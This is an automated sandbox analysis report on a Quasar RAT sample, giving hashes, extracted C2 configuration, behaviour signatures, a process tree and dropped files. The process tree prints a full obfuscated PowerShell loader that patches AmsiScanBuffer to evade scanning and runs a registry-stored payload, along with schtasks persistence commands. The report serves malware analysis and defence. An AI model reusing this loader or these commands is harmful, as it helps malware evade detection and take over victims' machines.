Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02-05-2024 20:58

General

  • Target

    R0X-Built.exe

  • Size

    409KB

  • MD5

    a0f5aa5764c4f66eee82f857f9f447b6

  • SHA1

    3c3a780d020cb3eb3088223443fe813abb95dccd

  • SHA256

    43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

  • SHA512

    458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

  • SSDEEP

    6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes
  • encryption_key

    KaNwItdY6wlv5nCN4prL

  • install_name

    $srr-powershell.exe

  • log_directory

    Logs

  • reconnect_delay

    1000

  • startup_key

    $srr-powershell

  • subdirectory

    Windows

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 55 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:632
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:428
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{d5eeed65-2f1f-44d4-a72a-d8890c104c68}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3528
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:1000
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:776
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:716
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1060
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1120
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1152
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1168
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:iKfGccGYOKFL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NnAJrxJLcdxtGY,[Parameter(Position=1)][Type]$SOfvjASDaR)$oslDrkeMSho=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+'e'+''+'c'+'te'+[Char](100)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+'m'+'o'+''+'r'+''+[Char](121)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+'e'+'le'+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+','+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+'d'+''+','+'Ans'+'i'+''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$oslDrkeMSho.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+'p'+[Char](101)+''+[Char](99)+''+'i'+'alN'+[Char](97)+''+'m'+''+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+'e'+'By'+'S'+'i'+'g'+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NnAJrxJLcdxtGY).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');$oslDrkeMSho.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+'Slot'+','+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$SOfvjASDaR,$NnAJrxJLcdxtGY).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $oslDrkeMSho.CreateType();}$IDfaUoIoUydia=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+'m'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+''+'s'+'');$CUjTBgbuyGSBiR=$IDfaUoIoUydia.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](80)+''+'r'+''+'o'+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+'S'+''+'t'+''+'a'+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XZGFbQRjvjgFiIikGph=iKfGccGYOKFL @([String])([IntPtr]);$SsWrdvbqYMsCXcfDUWnbYI=iKfGccGYOKFL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FfjVxNxBEzV=$IDfaUoIoUydia.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+'3'+'2.d'+[Char](108)+''+'l'+'')));$yMpwgtgppHxSGB=$CUjTBgbuyGSBiR.Invoke($Null,@([Object]$FfjVxNxBEzV,[Object](''+[Char](76)+'o'+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'rar'+[Char](121)+''+'A'+'')));$dDwquMKlawLEoqwTm=$CUjTBgbuyGSBiR.Invoke($Null,@([Object]$FfjVxNxBEzV,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+'o'+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$bqwHDGJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yMpwgtgppHxSGB,$XZGFbQRjvjgFiIikGph).Invoke('am'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$rqdbmtmEIiXPmbndy=$CUjTBgbuyGSBiR.Invoke($Null,@([Object]$bqwHDGJ,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'Buffer')));$dUWgjmdBcl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dDwquMKlawLEoqwTm,$SsWrdvbqYMsCXcfDUWnbYI).Invoke($rqdbmtmEIiXPmbndy,[uint32]8,4,[ref]$dUWgjmdBcl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rqdbmtmEIiXPmbndy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dDwquMKlawLEoqwTm,$SsWrdvbqYMsCXcfDUWnbYI).Invoke($rqdbmtmEIiXPmbndy,[uint32]8,0x20,[ref]$dUWgjmdBcl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2492
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1244
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1296
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1424
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1448
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:3064
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                  1⤵
                                  • Drops file in System32 directory
                                  PID:1456
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1596
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1616
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1624
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1716
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1788
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1812
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1960
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1068
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1216
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2024
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:2052
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2136
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2252
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2360
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2452
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2460
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                    PID:2476
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2532
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2576
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2604
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2612
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2620
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2548
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:3080
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3276
                                                                                • C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"
                                                                                  2⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1944
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    "schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f
                                                                                    3⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:2928
                                                                                  • C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1404
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      "schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f
                                                                                      4⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:4052
                                                                                  • C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\install.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:3712
                                                                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                    "SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST
                                                                                    3⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:4848
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3404
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3456
                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3800
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:3864
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                      1⤵
                                                                                        PID:3968
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:4064
                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                          C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                          1⤵
                                                                                            PID:4276
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                            1⤵
                                                                                              PID:4380
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:4780
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                1⤵
                                                                                                  PID:576
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                  1⤵
                                                                                                    PID:1832
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:4844
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:3652
                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:1772
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                      1⤵
                                                                                                        PID:2300
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                        1⤵
                                                                                                          PID:456
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                          1⤵
                                                                                                            PID:4308
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:3976
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:4192
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                              1⤵
                                                                                                                PID:1500

                                                                                                              Network

                                                                                                              MITRE ATT&CK Matrix ATT&CK v13

                                                                                                              Execution

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Persistence

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Privilege Escalation

                                                                                                              Scheduled Task/Job

                                                                                                              1
                                                                                                              T1053

                                                                                                              Discovery

                                                                                                              Query Registry

                                                                                                              1
                                                                                                              T1012

                                                                                                              System Information Discovery

                                                                                                              1
                                                                                                              T1082

                                                                                                              Command and Control

                                                                                                              Web Service

                                                                                                              1
                                                                                                              T1102

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                                                Filesize

                                                                                                                162KB

                                                                                                                MD5

                                                                                                                152e3f07bbaf88fb8b097ba05a60df6e

                                                                                                                SHA1

                                                                                                                c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                                                                                SHA256

                                                                                                                a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                                                                                SHA512

                                                                                                                2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                                                                              • C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
                                                                                                                Filesize

                                                                                                                409KB

                                                                                                                MD5

                                                                                                                a0f5aa5764c4f66eee82f857f9f447b6

                                                                                                                SHA1

                                                                                                                3c3a780d020cb3eb3088223443fe813abb95dccd

                                                                                                                SHA256

                                                                                                                43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

                                                                                                                SHA512

                                                                                                                458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

                                                                                                              • C:\Windows\Temp\__PSScriptPolicyTest_nx0zr4az.tyf.ps1
                                                                                                                Filesize

                                                                                                                60B

                                                                                                                MD5

                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                SHA1

                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                SHA256

                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                SHA512

                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                              • memory/428-88-0x00007FF844250000-0x00007FF844260000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/428-81-0x00000259493C0000-0x00000259493EB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/428-87-0x00000259493C0000-0x00000259493EB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-55-0x00007FF844250000-0x00007FF844260000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/632-46-0x000001C5EECF0000-0x000001C5EED15000-memory.dmp
                                                                                                                Filesize

                                                                                                                148KB

                                                                                                              • memory/632-48-0x000001C5EED20000-0x000001C5EED4B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-47-0x000001C5EED20000-0x000001C5EED4B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-54-0x000001C5EED20000-0x000001C5EED4B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/684-66-0x00007FF844250000-0x00007FF844260000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/684-65-0x0000024B8A920000-0x0000024B8A94B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/684-59-0x0000024B8A920000-0x0000024B8A94B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/776-92-0x000001F259960000-0x000001F25998B000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1000-77-0x00007FF844250000-0x00007FF844260000-memory.dmp
                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/1000-70-0x00000255ECED0000-0x00000255ECEFB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1000-76-0x00000255ECED0000-0x00000255ECEFB000-memory.dmp
                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1404-13-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1404-14-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1404-712-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1404-711-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1404-299-0x0000000007370000-0x000000000737A000-memory.dmp
                                                                                                                Filesize

                                                                                                                40KB

                                                                                                              • memory/1944-1-0x0000000000600000-0x000000000066C000-memory.dmp
                                                                                                                Filesize

                                                                                                                432KB

                                                                                                              • memory/1944-2-0x0000000005510000-0x0000000005AB6000-memory.dmp
                                                                                                                Filesize

                                                                                                                5.6MB

                                                                                                              • memory/1944-3-0x0000000005010000-0x00000000050A2000-memory.dmp
                                                                                                                Filesize

                                                                                                                584KB

                                                                                                              • memory/1944-4-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1944-20-0x0000000074AD0000-0x0000000075281000-memory.dmp
                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1944-6-0x0000000005D00000-0x0000000005D12000-memory.dmp
                                                                                                                Filesize

                                                                                                                72KB

                                                                                                              • memory/1944-5-0x00000000050B0000-0x0000000005116000-memory.dmp
                                                                                                                Filesize

                                                                                                                408KB

                                                                                                              • memory/1944-7-0x0000000006250000-0x000000000628C000-memory.dmp
                                                                                                                Filesize

                                                                                                                240KB

                                                                                                              • memory/1944-0-0x0000000074ADE000-0x0000000074ADF000-memory.dmp
                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/2492-32-0x00007FF883470000-0x00007FF88352D000-memory.dmp
                                                                                                                Filesize

                                                                                                                756KB

                                                                                                              • memory/2492-30-0x000001F2434A0000-0x000001F2434CA000-memory.dmp
                                                                                                                Filesize

                                                                                                                168KB

                                                                                                              • memory/2492-31-0x00007FF8841C0000-0x00007FF8843C9000-memory.dmp
                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                              • memory/2492-29-0x000001F243330000-0x000001F243352000-memory.dmp
                                                                                                                Filesize

                                                                                                                136KB

                                                                                                              • memory/3528-35-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/3528-43-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/3528-36-0x0000000140000000-0x0000000140008000-memory.dmp
                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/3528-41-0x00007FF8841C0000-0x00007FF8843C9000-memory.dmp
                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                              • memory/3528-42-0x00007FF883470000-0x00007FF88352D000-memory.dmp
                                                                                                                Filesize

                                                                                                                756KB

